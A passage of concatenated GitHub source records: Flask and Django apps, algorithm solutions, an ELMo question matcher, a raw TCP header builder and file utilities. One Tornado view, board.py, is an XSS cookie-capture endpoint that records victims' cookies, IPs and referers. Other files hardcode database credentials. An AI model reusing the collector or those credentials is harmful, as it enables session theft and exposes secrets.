torch.save(model.state_dict(),opt['model.save_path'] + '1.pth')\n ","repo_name":"JackFram/Few-shot-learning","sub_path":"scripts/train/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"4561803426","text":"from flask import Flask, render_template, request, jsonify\n\napp = Flask(__name__)\n\nfrom pymongo import MongoClient\n\nclient = MongoClient('mongodb+srv://test:sparta@cluster0.msldn.mongodb.net/Cluster0?retryWrites=true&w=majority')\ndb = client.dbsparta\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route(\"/bucket\", methods=[\"POST\"])\ndef bucket_post():\n bucket_receive = request.form['bucket_give']\n\n # 이미 가지고 있는 것을 모두 가지고 와라\n bucket_list = list(db.bucket.find({}, {'_id': False}))\n # 갯수를 새는 len()을 사용해서 현재 저장되어있는 bucket_list를 세서 +1을 합니다.\n count = len(bucket_list) + 1\n\n doc = {\n # 3가지를 저장해야 합니다. 몇번째인지 알수 있는 번호 num, 버킷 메시지를 나타네는 메시지 text, 진행중인지 진행완료했는지 done\n 'num': count,\n 'bucket': bucket_receive,\n 'done': 0\n }\n db.bucket.insert_one(doc)\n\n return jsonify({'msg': '등록 완료!'})\n\n\n@app.route(\"/bucket/done\", methods=[\"POST\"])\ndef bucket_done():\n num_receive = request.form['num_give']\n\n # done 값을 변경해야 합니다. 완료 버튼을 눌렀을 때\n # num_receive는 문자열로 저장되기 때문에 int()를 사용해서 숫자로 변경해야 합니다.\n db.bucket.update_one({'num': int(num_receive)}, {'$set': {'done': 1}})\n\n return jsonify({'msg': '버킷 완료!'})\n\n\n@app.route(\"/bucket\", methods=[\"GET\"])\ndef bucket_get():\n bucket_list = list(db.bucket.find({}, {'_id': False}))\n return jsonify({'buckets': bucket_list})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)\n","repo_name":"eisont/Publishing","sub_path":"hanghae99/hanghae99_Sparta/projects/bucket/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"20549692087","text":"# 재귀\ndef solution(n):\n n -=1\n item = \"124\"\n i, j = divmod(n, 3)\n if i == 0:\n return item[j]\n else :\n return solution(i) + item[j]\n\nsolution(1)\nsolution(2)\nsolution(3)\nsolution(4)\nsolution(5)\nsolution(6)\nsolution(7)\nsolution(8)\nsolution(9)\nsolution(10)\nsolution(11)\n\n\n","repo_name":"uwwwwwu/Algorithm_programmers","sub_path":"newworld_124.py","file_name":"newworld_124.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74994257508","text":"from game_listing_db import *\nfrom game_class import *\n\n# Connect to the game DB\nconn_to_gl_db = ConnectMsS('Passw0rd2018')\ngame1 = Games(\"Apex Legends\", \"Miles Eastwood\", \"07413065597\", \"10\", \"N16 9LN\")\ngame2 = Games(\"Halo Reach\", \"Spartan 117\", \"01597896302\", \"30\", \"W4 5AB\")\ngame3 = Games(\"Fifa 2020\", \"Vladimir Putin\", \"077-SOVIET-999\", \"50\", \"PA49 7UT\")\n\n# Add a game to the listing database\n# conn_to_gl_db.add_game_to_db(game1.game_name, game1.user_name, game1.phone_num, game1.price, game1.post_code, game1.lat, game1.long)\n# conn_to_gl_db.add_game_to_db(game2.game_name, game2.user_name, game2.phone_num, game2.price, game2.post_code, game2.lat, game2.long)\n# conn_to_gl_db.add_game_to_db(game3.game_name, game3.user_name, game3.phone_num, game3.price, game3.post_code, game3.lat, game3.long)\n\n# Delete a game from the listing\n# conn_to_gl_db.delete_game_from_db(1)\n\n# View All games in the Database\n# print(conn_to_gl_db.read_all_games())\n\n# View one specific game in the Database\n# print(conn_to_gl_db.title_search(3))\n\n# Update the latitude and longitude of a location\n# conn_to_gl_db.get_lat_long(\"PA49 7UT\")\n\n# print(conn_to_gl_db.title_search(3))\n\n# Atempting User interface\n\n#game1.write_a_game_to_file()\n#game2.append_a_game_to_file()\n#game3.append_a_game_to_file()\n\nwelcome_statement = print(\"Good morning and welcome to the best game listing website in the Universe! Here are your options:\")\n\nwhile True:\n option_1 = print(\"Option 1: Would you like to add a game to our ilustrious database?\")\n option_2 = print(\"Option 2: Would you like to view all games or just one?\")\n option_3 = print(\"Option 3: Would you like to delete a shoddy game from our database?\")\n option_4 = print(\"Option 4: Would you like to export a recipe to a .txt file?\")\n user_input = input(\"Enter your choice: \")\n\n if user_input == \"1\":\n get_game_name = input(\"'Please enter your game name: '\")\n get_user_name = input(\"'Please enter your User name: '\")\n get_phone_num = input(\"'Please enter you phone number: '\")\n get_price = input(\"Please input the price of your game: \")\n get_postCode = input(\"'Please enter your postcode: '\")\n user_game_list = conn_to_gl_db.add_game_to_db(get_game_name,get_user_name,get_phone_num, get_price, get_postCode)\n print(f\"{get_game_name} has been added to the database :)\")\n break\n\n elif user_input == \"2\":\n view_game_s = input(\"Would you like to view one game or all of them?\")\n if view_game_s == \"1\":\n specific_id = input(\"Please enter the game ID you would like to view?\")\n view_by_title = conn_to_gl_db.title_search(specific_id)\n print(view_by_title)\n elif view_game_s == \"all\":\n view_all = conn_to_gl_db.read_all_games()\n print(view_all)\n else:\n print(\"Sorry, I didnt quite get that\")\n break\n\n elif user_input == \"3\":\n game_to_delete = input(\"Enter the game ID you would you like to delete: \")\n delete_recipe = conn_to_gl_db.delete_game_from_db(game_to_delete)\n print(\"That game has been deleted\")\n\n # elif user_input == \"4\":\n # input_recipe_for_txt = input(\"Which game would you like to export?\")\n #\n # if input_game_for_txt == user_recipe.recipe_name:\n # recipe_to_export = user_recipe.append_a_recipe_to_file()\n #\n # elif input_recipe_for_txt == \"I'd like to choose a recipe\":\n # recipe_to_choose = input(\"Which recipe will it be then?\")\n #\n # if recipe_to_choose ==\n\n elif user_input == \"exit\":\n break\n\n","repo_name":"Git-Good-Milo/Week-4-Game-Listings-final-project","sub_path":"game_run.py","file_name":"game_run.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"11819227057","text":"from collections import deque\n\n\ndef find(a): #a = 스타트 위치, b = id값\n global visited\n visited[a] = 1\n stck = deque(G[a])\n while stck:\n n = stck.popleft()\n if not visited[n]:\n visited[n] = 1\n for i in G[n]:\n stck.append(i)\n\n\nfor tc in range(1, int(input())+1):\n N, M = map(int, input().split())\n visited = [0 for _ in range(N+1)]\n G = [[] for _ in range(N+1)]\n id = 0\n for _ in range(M):\n g,v = map(int, input().split())\n G[g].append(v)\n G[v].append(g)\n for i in range(N+1):\n if G[i] and not visited[i]:\n id += 1\n find(i)\n print(visited)\n print(\"#{0} {1}\".format(tc,id + visited.count(0)-1))","repo_name":"ssshhh0402/Ssafy_Algorithms","sub_path":"문제/목요일/20191002/SW_창용마을.py","file_name":"SW_창용마을.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"32620289496","text":"import struct\n\nclass TCPHeader:\n\t\n\tdef __init__(self,src_port,dst_port):\n\t\tself.src_port = src_port\n\t\tself.dst_port = dst_port\n\t\t\n\t\t\n\tdef build(self):\n\t\tseq_num = 0 \n\n\t\tack_num = 0\n\n\t\ttcp_hdr_len = 80 # value set to 80 since in wireshark i was able to see the flags set and other data\n\n\t\t# The flags set will always be pow(2, n) to unset give the value as 0\n\n\t\ttcp_flags_reserved = 0 # let this be 0 \n\n\t\ttcp_flags_nonce = 0 # To set give the value pow(2,8) that is 256\n\n\t\ttcp_flags_cwr = 128 # To set give the value pow(2,7) that is 128\n\n\t\ttcp_flags_ecn = 64 # To set give the value pow(2,6) that is 64\n\n\t\ttcp_flags_urg = 32 # To set give the value pow(2,5) that is 32\n\n\t\ttcp_flags_ack = 16 # To set give the value pow(2,4) that is 16\n\n\t\ttcp_flags_psh = 8 # To set give the value pow(2,3) that is 8\n\n\t\ttcp_flags_rst = 4 # To set give the value pow(2,2) that is 4\n\n\t\ttcp_flags_syn = 2 # To set give the value pow(2,1) that is 2\n\n\t\ttcp_flags_fin = 1 # To set give the value pow(2,0) that is 1\n\n\n\t\ttcp_flags = tcp_flags_reserved + tcp_flags_nonce + tcp_flags_cwr + tcp_flags_ecn + tcp_flags_urg + tcp_flags_ack + tcp_flags_psh + tcp_flags_rst + tcp_flags_syn + tcp_flags_fin\n\n\t\twindow_size = 28800 # random value based on wireshark captures\n\n\t\ttcp_chksum = b\"0x0006\" # random value, currently checksum is not calculated\n\n\t\turg_ptr = 0 # set it to 0\n\n\t\ttcp_hdr = struct.pack(\"!HHLLBBH2sH\", self.src_port, self.dst_port, seq_num, ack_num, tcp_hdr_len, tcp_flags, window_size, tcp_chksum, urg_ptr)\n\t\t\n\t\treturn tcp_hdr\n","repo_name":"Mintaa911/ip_spoofing","sub_path":"tcp_header.py","file_name":"tcp_header.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8441915917","text":"from sklearn.metrics.pairwise import cosine_similarity\nimport tensorflow_hub as hub\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport glob\nimport os\nimport urllib.request\nimport tarfile\ndef download_elmo():\n elmo_folder='./elmo_module/'\n if os.path.exists(elmo_folder):\n pass\n else:\n os.mkdir(elmo_folder)\n elmo_file='./elmo_module/2.tar.gz'\n if not os.path.exists(elmo_file):\n url=\"https://storage.googleapis.com/tfhub-modules/google/elmo/2.tar.gz\"\n urllib.request.urlretrieve(url,elmo_folder)\n my_tar = tarfile.open('./elmo_module/2.tar.gz')\n my_tar.extractall('./elmo_module/') # specify which folder to extract to\n my_tar.close()\n else:\n pass\nelmo_download=download_elmo()\n\ndef elmo_vectors(x):\n elmo = hub.Module(\"elmo_module/\", trainable=True) \n embeddings=elmo(x, signature=\"default\", as_dict=True)[\"elmo\"]\n \n with tf.compat.v1.Session() as sess:\n sess.run(tf.compat.v1.global_variables_initializer())\n sess.run(tf.compat.v1.tables_initializer ())\n # return average of ELMo features\n return sess.run(tf.reduce_mean(embeddings,1))\ndef question_csv_list(file_name):\n if (file_name==None):\n all_files = glob.glob(\"archive\" + \"/*.csv\")\n #print(all_files)\n for filename in all_files:\n df = pd.read_csv(filename, names=['question','answer','page'] )\n question_set=[]\n for i in df['question']:\n question_set.append(i)\n question_set=[question_set]\n question_set_vector=[]\n for i in range(len(question_set)):\n question_set_vector.append(elmo_vectors(question_set[i]))\n question_set_length=len(df['question'])\n return question_set_vector , question_set_length ,df['question']\n else:\n \n all_files=glob.glob(\"archive\" +\"/\"+file_name+\".csv\")\n for filename in all_files:\n df = pd.read_csv(filename, names=['question','answer','page'] )\n question_set=[]\n for i in df['question']:\n question_set.append(i)\n question_set=[question_set]\n print(question_set)\n question_set_vector=[]\n for i in range(len(question_set)):\n question_set_vector.append(elmo_vectors(question_set[i]))\n question_set_length=len(df['question'])\n return question_set_vector , question_set_length,df\ndef input_question(question):\n question_data=[[question]]\n question_data_vector=[]\n for i in range(len(question_data)):\n question_data_vector.append(elmo_vectors(question_data[i]))\n return question_data_vector\ndef match_question(question,file_name):\n print(file_name)\n question_data_vector=input_question(question)\n if (file_name==None):\n question_set_vector,question_set_length,df=question_csv_list(None)\n question_list=np.array(question_set_vector)\n question_input=np.array(question_data_vector)\n question_list=np.reshape(question_list,(question_set_length,1024))\n #question_list.ndim\n question_input=np.reshape(question_input,(1,1024))\n question_match_vector=cosine_similarity(question_list,question_input)\n question_match_vector=question_match_vector.tolist()\n\n question_value_sort = [val for sublist in question_match_vector for val in sublist]\n #print(question_value_sort)\n sorted_question=sorted(range(len(question_value_sort)), key=lambda i: question_value_sort[i])[-1:]\n print(sorted_question)\n temp=[]\n for i in sorted_question:\n r=df.iloc[[i]]\n temp.append(r.values)\n sort_question = [val for sublist in temp for val in sublist]\n return sort_question\n else:\n file_name=file_name.split()\n #print(file_name)\n value=[]\n for i in file_name:\n temp=[]\n all_files=glob.glob(\"archive\" +\"/\"+i+\".csv\")\n if len(all_files)==0:\n data = {\"question\":question,\"ans\":\"No answer\",\"page\":\"Empty\",\"source_file\":i}\n value.append(data)\n else:\n question_set_vector,question_set_length,df=question_csv_list(i)\n question_list=np.array(question_set_vector)\n print(question_list)\n question_input=np.array(question_data_vector)\n question_list=np.reshape(question_list,(question_set_length,1024))\n question_input=np.reshape(question_input,(1,1024))\n question_match_vector=cosine_similarity(question_list,question_input)\n question_match_vector=question_match_vector.tolist()\n print(question_match_vector)\n question_value_sort = [val for sublist in question_match_vector for val in sublist]\n \n sorted_question=sorted(range(len(question_value_sort)), key=lambda i: question_value_sort[i])[-1:]\n print(sorted_question)\n temp2=[]\n for j in sorted_question:\n question=df['question'].iloc[[j]]\n question_values=question.values.tolist()\n question_values=\" \".join(question_values)\n answer=df['answer'].iloc[[j]].isnull()\n if (answer.values==True):\n data = {\"question\":question_values,\"ans\":\"No answer\",\"page\":\"Empty\",\"source_file\":i}\n else:\n answer=df['answer'].iloc[[j]]\n answer_values=answer.values.tolist()\n answer_values=\" \".join(answer_values)\n page_number=df['page'].iloc[[j]]\n page_number=page_number.values.tolist()\n page_number=\" \".join(page_number)\n data = {\"question\":question_values,\"ans\":answer_values,\"page\":page_number,\"source_file\":i}\n print(data)\n return data\n \n#match_question(\"who give you intelligence of reading of book ?\",'hill-think-and-grow-rich')\n \n","repo_name":"Sumitkchoubey/QuestionAnsweringsystem","sub_path":"question_answer/utils/match_question.py","file_name":"match_question.py","file_ext":"py","file_size_in_byte":6098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3410332883","text":"import json\r\nfrom pprint import pprint\r\nimport sys, getopt\r\nimport os\r\nimport collections\r\n\r\n'''\r\n__author__ = \"Peter Bangert\"\r\n\r\n__email__ = \"petbangert@gmail.com\"\r\n__status__ = \"Development\"\r\n'''\r\n\r\ndef main():\r\n\r\n arg = str(sys.argv[1])\r\n\r\n if arg is None:\r\n print(\"no argument given, exiting\")\r\n sys.exit()\r\n elif arg == \"e\":\r\n print(\"editing\")\r\n edit()\r\n elif arg == \"c\":\r\n print(\"counting\")\r\n print(\"TOTAL WORDS TRANSLATED BY PETER:\")\r\n print(count_words(os.getcwd(), 0, []))\r\n print(\"-------------------------------\")\r\n elif arg == \"d\":\r\n print(\"duplicating\")\r\n dir_walker(os.getcwd() )\r\n elif arg == \"s\":\r\n print(\"searching\")\r\n search_string(os.getcwd() )\r\n elif arg == \"m\":\r\n print(\"moving\")\r\n move()\r\n elif arg == \"r\":\r\n print(\"replacing\")\r\n replace()\r\n else:\r\n print_helper()\r\n\r\n print(\"great success\")\r\n\r\n\r\ndef dir_walker(path): #searches given path for file, walks backwards when unsuccessful\r\n\r\n \r\n for root, dirs, files in os.walk(path):\r\n for name in files:\r\n #print root\r\n copy_rename(os.path.join(root, name))\r\n \r\n\r\n \r\ndef copy_rename(name) :\r\n if (wrong_filetype(name)) :\r\n return\r\n\r\n bashcmd = \"cp \" + name + \" \" + adjusted_filename(name)\r\n print(bashcmd)\r\n os.system(bashcmd)\r\n \r\n\r\n return 0\r\n\r\ndef adjusted_filename(name):\r\n suffix = input(\"Add suffix to copied file? : \")\r\n return \"'\" +name[0: name.index(\".\")] + suffix + name[name.index(\".\"):] +\"'\" \r\n\r\ndef wrong_filetype(name) :\r\n extension = name[name.index(\".\"):]\r\n filetypes = [\".md\", \".txt\", \".text\", \".doc\", \".docx\"]\r\n if extension in filetypes:\r\n return False\r\n return True\r\n \r\n\r\ndef edit():\r\n yn = input(\"Standard googletranslate file edit ? (y/n) : \")\r\n if (yn.lower() == \"y\"):\r\n find_replace()\r\n return\r\n\r\n yn = input(\".text to .md reformat ? (y/n) : \")\r\n if (yn.lower() == \"y\"):\r\n txt_to_md()\r\n return\r\n\r\n print(\"said no to all options, do nothing.\")\r\n\r\n\r\ndef txt_to_md():\r\n searchText = [\"h1(top).\",\"h1.\", \"bc.\", \"p.\", \"h2(top).\",\"h2.\", \"@\", \"|\"]\r\n replaceText = [\"# \", \"## \", \"~~~\\n\", \"\", \"### \", \"## \", \"`\", \"\\n|---|---|\\n\"]\r\n\r\n path = os.getcwd() \r\n for root, dirs, files in os.walk(path):\r\n #if root != path:\r\n # break\r\n print(files)\r\n for file in files:\r\n if file.endswith(\".text\") or file.endswith(\".txt\"):\r\n with open(os.path.join(root, file), 'r') as tarfile :\r\n filedata = tarfile.read()\r\n print(file)\r\n\r\n # Replace the target string\r\n for i in range(len(searchText)):\r\n\r\n if (searchText[i] == \"bc.\" or searchText[i] == \"|\"):\r\n if (searchText[i] not in filedata):\r\n continue\r\n replace = filedata[filedata.index(searchText[i]):]\r\n print(replace)\r\n replace = replace[: replace.index(\"\\n\\n\")]\r\n print(replace)\r\n if (searchText[i] == \"bc.\"):\r\n filedata = filedata.replace(replace, replace + \"\\n\" + replaceText[i] )\r\n filedata = filedata.replace(searchText[i], replaceText[i])\r\n else :\r\n filedata = filedata.replace(replace, replaceText[i] + replace)\r\n\r\n else:\r\n filedata = filedata.replace(searchText[i], replaceText[i])\r\n\r\n print(searchText[i] + replaceText[i])\r\n\r\n newfile = os.path.join(root, file[0:file.index(\".\")]+\".md\")\r\n bashcmd = \"cp \" + \"'\"+ os.path.join(root, file) +\"'\"+ \" \" + \"'\"+newfile+\"'\"\r\n print(bashcmd)\r\n os.system(bashcmd)\r\n\r\n # Write the file out again\r\n with open(newfile, 'w') as tarfile:\r\n tarfile.write(filedata)\r\n\r\n\r\n\r\n\r\ndef ggt_to_md():\r\n searchText = [\" [\", \"] \", \" / \", \"/ i\", \"& Nbsp;\",\" # \",\" @\", \"@ \"]\r\n replaceText = [\"[\",\"]\",\"/\",\"/i\",\" \", \"#\", \"@\",\"@\" ]\r\n\r\n path = os.getcwd() \r\n for root, dirs, files in os.walk(path):\r\n if root != path:\r\n break\r\n print(files)\r\n for file in files:\r\n if \"(EN_US)\" in file:\r\n\r\n with open(file, 'r') as tarfile :\r\n filedata = tarfile.read()\r\n print(file)\r\n\r\n # Replace the target string\r\n for i in range(len(searchText)):\r\n filedata = filedata.replace(searchText[i], replaceText[i])\r\n print(searchText[i] + replaceText[i])\r\n\r\n # Write the file out again\r\n with open(file, 'w') as tarfile:\r\n tarfile.write(filedata)\r\n\r\n\r\ndef count_words(path, words, visited):\r\n mustContain = input(\"What must filename conatin? : \")\r\n for root, dirs, files in os.walk(path):\r\n \r\n for file in files:\r\n if mustContain in file:\r\n print(file)\r\n #visited.append(file)\r\n with open(os.path.join(root,file)) as fh:\r\n words += len(fh.read().split())\r\n \r\n thefile = open('test.txt', 'w') \r\n return words \r\n\r\n\r\ndef search_string(path):\r\n\r\n args = input(\"what search for plz? : \").split(\",\")\r\n print(args)\r\n for root, dirs, files in os.walk(path):\r\n for name in files:\r\n searchable = args\r\n\r\n\r\n try:\r\n file_string_finder(root, name, searchable)\r\n except IOError as e:\r\n str = e\r\n #print \"I/O error({0}): {1} could not open {2} \".format(e.errno, e.strerror, str(root)+str(name))\r\n except ValueError:\r\n print(\"Could not convert data to an integer.\")\r\n except:\r\n print(\"Unexpected error:\", sys.exc_info()[0])\r\n raise\r\n\r\n\r\n if any(srch in name.lower() for srch in searchable):\r\n results_printer(root, name, \" \")\r\n\r\n \r\ndef file_string_finder(root, filename, target):\r\n response = \" \"\r\n with open(os.path.join(root, filename)) as f:\r\n contents = f.read().lower()\r\n for x in target:\r\n count = contents.count(x)\r\n if count != 0:\r\n response += (\" {0}({1})\".format(x, str(count)))\r\n\r\n if response != \" \":\r\n results_printer(root, filename, response)\r\n\r\n\r\ndef results_printer(root, name, result):\r\n print(os.path.join(root, name)) + result\r\n\r\ndef move():\r\n filename = input(\"filename plz, with extension : \")\r\n dest = input(\"destination plz, just folder name : \")\r\n filePath = find(filename, os.getcwd())\r\n print(\"moving file : \" + filePath)\r\n possibleDestinations = []\r\n for root, dirs, files in os.walk(os.getcwd()):\r\n for dirnames in dirs:\r\n if dirnames == dest:\r\n possibleDestinations.append(os.path.join(root, dirnames))\r\n x =1\r\n print(\"-------------------------\")\r\n print(\"Possible Destinations : \")\r\n for dest in possibleDestinations:\r\n print(str(x) + \". \" + dest)\r\n x+=1\r\n\r\n selecting = True\r\n while(selecting) :\r\n\r\n selection = int(input(\"please select one : \"))\r\n if selection > len(possibleDestinations) or selection < 1 :\r\n print(\"Did not enter a correct number, please try again\")\r\n else:\r\n selecting = False\r\n\r\n print(\"to destination : \" + possibleDestinations[selection - 1])\r\n bashcmd = \"mv \" + filePath + \" \" + possibleDestinations[selection-1]\r\n os.system(bashcmd)\r\n\r\n\r\n\r\ndef find(name, path): #searches given path for file, walks backwards when unsuccessful\r\n\r\n looking = True\r\n while (looking):\r\n\r\n for root, dirs, files in os.walk(path):\r\n if name in files:\r\n looking = False\r\n return os.path.join(root, name)\r\n\r\n path = os.path.normpath(os.getcwd() + os.sep + os.pardir)\r\n\r\n\r\ndef replace():\r\n while (True):\r\n searchText = input(\"Text to Replace : \")\r\n replaceText = input(\"Replace with : \")\r\n\r\n path = os.getcwd() \r\n for root, dirs, files in os.walk(path):\r\n if root != path:\r\n break\r\n print(files)\r\n for file in files:\r\n with open(file, 'r') as tarfile :\r\n filedata = tarfile.read()\r\n print(file)\r\n\r\n # Replace the target string\r\n for i in range(len(searchText)):\r\n filedata = filedata.replace(searchText, replaceText)\r\n\r\n # Write the file out again\r\n with open(file, 'w') as tarfile:\r\n tarfile.write(filedata)\r\n\r\n again = input(\"again? (y/n) : \")\r\n if (again.lower() != \"y\"):\r\n break\r\n\r\n\r\n\r\ndef print_helper():\r\n print ( \"HELP ---- \" \r\n + \"\\n\" + \"There are a couple single character arguments that can be given\"\r\n + \"\\n\" + \"---------------------------------------------------------------\" \r\n + \"\\n\" + \"e : edit\"\r\n + \"\\n\" + \" -> this will edit all english files for pescy mistranslations. only in CWD!\"\r\n + \"\\n\" + \"\" \r\n + \"\\n\" + \"c : counting\"\r\n + \"\\n\" + \" -> this argument will count all of the words of every english file\"\r\n + \"\\n\" + \"\"\r\n + \"\\n\" + \"d : duplicating\"\r\n + \"\\n\" + \" -> This argument will copy every file and add the (EN_US) suffix to it.\"\r\n + \"\\n\" + \"\"\r\n + \"\\n\" + \"m : moving\"\r\n + \"\\n\" + \" -> This argument will prompt you for an input file and a destination folder.\"\r\n + \"\\n\" + \"\"\r\n + \"\\n\" + \"s : search\"\r\n + \"\\n\" + \" -> This argument will prompt you for input (CSV) in which to search for.\"\r\n + \"\\n\" + \"\"\r\n + \"\\n\" + \"r : replace\"\r\n + \"\\n\" + \" -> This argument will replace all files in CWD with replacement string.\"\r\n + \"\\n\" \r\n )\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"peterbangert/hotTUBcodemachine","sub_path":"do.py","file_name":"do.py","file_ext":"py","file_size_in_byte":10304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29693900553","text":"from django.urls import path, include\nfrom rest_framework import routers \n\nurlpatterns = [\n #path('auth/token', ObtainTokenView.as_view()),\n path('auth/',include('api.auth.urls')),\n # path('employee/',include('api.employee.urls')),\n path('organization/<int:organization_id>/department/<int:department_id>/employee/',include('api.employee.urls')),\n path('organization/<int:organization_id>/department/',include('api.department.urls')),\n path('organization/',include('api.organization.urls')),\n \n]","repo_name":"aswanthabam/employee-manager-api","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29321916588","text":"# coding:utf-8\n\nfrom view import route, View\nfrom model.board import Board\nfrom model.user import User\nimport config\n\n\n@route('/x', name='xss')\nclass BoardView(View):\n def get(self):\n user = self.current_user()\n if user:\n words_query = Board.get_all(username=user.username)\n else:\n words_query = []\n _token = user.key if user else None\n token = self.get_argument('token', '')\n if not user and token:\n user = User.get_by_key(token)\n if not user:\n return self.finish()\n cookie = self.get_argument('c', '')\n IP = self.request.remote_ip\n if cookie != '' and user:\n referer = self.request.headers.get('Referer')\n if not referer:\n referer = 'http://127.0.0.1'\n Board.new(user.username, cookie, IP, referer)\n self.write('ok')\n return self.finish()\n if _token:\n port = \"\"\n if config.PORT != 80:\n port = \":\" + str(config.PORT)\n self.messages.success(\n '<script src=\"{domain}{port}/static/js/x.js\"></script>'.format(domain=config.DOMAIN, port=port))\n self.render(\n 'xss.html',\n words_query=words_query,\n find_words_query='' # 此处不赋值为空,将报错未定义变量\n )\n\n def post(self):\n self.prepare()\n dele_by_id = self.get_argument('dele_by_id', '')\n words_query = Board.get_all(self.current_user().username)\n find_words_query = []\n IP = self.request.remote_ip\n user = self.current_user()\n\n if dele_by_id:\n if user.is_admin(): # 如果不是admin用户将无法删除\n Board.dele_by_id(dele_by_id)\n self.messages.success(\"删除成功!\")\n else:\n self.messages.error(\"您没有删除权限!\")\n return self.redirect('x') # 此处是为了防止F5刷新导致提交第二次的删除操作\n\n self.render(\n 'board.html',\n words_query=words_query,\n find_words_query=find_words_query,\n )\n","repo_name":"python333/xss","sub_path":"view/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"33098789475","text":"from apps import jsonrpc_v1\r\nfrom .models import db, GoodsSPU, GoodsCategory,GoodsSKU,GoodsImage,GoodsSKUAttribute,GoodsAttributeOption\r\n\r\n@jsonrpc_v1.method(\"Goods.home_goods\")\r\ndef home_goods():\r\n\t\"\"\"首页今日\"心\"品\"\"\"\r\n\tgoods_list = GoodsSPU.query.filter(\r\n\t\tGoodsSPU.is_show==True,\r\n\t\tGoodsSPU.is_deleted==False,\r\n\t\tGoodsSPU.is_recommend==True\r\n\t).order_by(\r\n\t\tGoodsSPU.sort.asc(),\r\n\t\tGoodsSPU.id.desc()\r\n\t).limit(5).all()\r\n\r\n\tdata = []\r\n\tfor goods in goods_list:\r\n\t\t\"\"\"把列表中每个对象转换成字典\"\"\"\r\n\t\tdata.append( goods.__to_dict__([\"id\",\"title\",\"image_url\"]) )\r\n\treturn data\r\n\r\n@jsonrpc_v1.method(\"Goods.goods_category\")\r\ndef goods_categoty():\r\n\t\"\"\"商品分类\"\"\"\r\n\tcat_list = GoodsCategory.query.filter(\r\n\t\tGoodsCategory.is_show==True,\r\n\t\tGoodsCategory.is_deleted==False\r\n\t).order_by(\r\n\t\tGoodsCategory.sort.asc(),\r\n\t\tGoodsCategory.id.desc()\r\n\t).limit(6).all()\r\n\r\n\tdata = []\r\n\tfor category in cat_list:\r\n\t\t\"\"\"把列表中每个对象转换成字典\"\"\"\r\n\t\tdata.append( category.__to_dict__([\"id\", \"name\"]) )\r\n\r\n\treturn data\r\n\r\n@jsonrpc_v1.method(\"Goods.list_goods(category=int,page=int,size=int)\")\r\ndef list_goods(category=None, page=1, size=10):\r\n\t\"\"\"商品列表\"\"\"\r\n\tquery = GoodsSPU.query.filter(\r\n\t\tGoodsSPU.is_show==True,\r\n\t\tGoodsSPU.is_deleted==False\r\n\t)\r\n\r\n\tif category is not None:\r\n\t\tquery = query.filter(GoodsSPU.category_id==category)\r\n\r\n\tpaginate = query.order_by(\r\n\t\tGoodsSPU.sort.asc(),\r\n\t\tGoodsSPU.id.desc()\r\n\t).paginate(page,size)\r\n\r\n\t# 分页器也要转换成字典\r\n\tdata = {}\r\n\tdata[\"page\"] = paginate.page\r\n\tdata[\"pages\"] = paginate.pages\r\n\tdata[\"has_prev\"] = paginate.has_prev\r\n\tdata[\"has_next\"] = paginate.has_next\r\n\tdata[\"next_num\"] = paginate.next_num\r\n\tdata[\"prev_num\"] = paginate.prev_num\r\n\t# 设置分页器里面的每一页数据项\r\n\tdata[\"items\"] = []\r\n\tfor goods in paginate.items:\r\n\t\t\"\"\"把列表中每个对象转换成字典\"\"\"\r\n\t\tdata[\"items\"].append( goods.__to_dict__([\"id\",\"title\",\"image_url\"]) )\r\n\r\n\treturn data\r\n\r\n@jsonrpc_v1.method(\"Goods.detail_spu_goods(spu_id=Number)\")\r\ndef detail_spu_goods(spu_id):\r\n\t\"\"\"详情页spu商品信息\"\"\"\r\n\tdata = {}\r\n\ttry:\r\n\t\tgoods = GoodsSPU.query.filter(\r\n\t\t\t\t\tGoodsSPU.id==spu_id\r\n\t\t\t\t).first()\r\n\t\tgoods.category_name = goods.category.name\r\n\t\tdata = goods.__to_dict__([\"id\", \"title\", \"descript\",\"effect\",\"category_id\",\"category_name\"])\r\n\texcept:\r\n\t\tpass\r\n\r\n\treturn data\r\n\r\n\r\n@jsonrpc_v1.method(\"Goods.detail_hot_goods(category=Number,limit=Number)\")\r\ndef detail_hot_goods(category,limit=6):\r\n\t\"\"\"商品详情的同类热门\"\"\"\r\n\tquery = GoodsSPU.query.filter(\r\n\t\tGoodsSPU.is_show == True,\r\n\t\tGoodsSPU.is_deleted == False,\r\n\t\tGoodsSPU.category_id == category,\r\n\t).order_by(\r\n\t\tGoodsSPU.sort.asc(),\r\n\t\tGoodsSPU.total_sale.desc(), # 根据销量来判断是否热门\r\n\t\tGoodsSPU.id.desc()\r\n\t)\r\n\tgoods_list = query.limit(limit).all()\r\n\tdata = []\r\n\tfor goods in goods_list:\r\n\t\titem = goods.__to_dict__([\"id\", \"title\", \"image_url\"])\r\n\t\tdata.append(item)\r\n\treturn 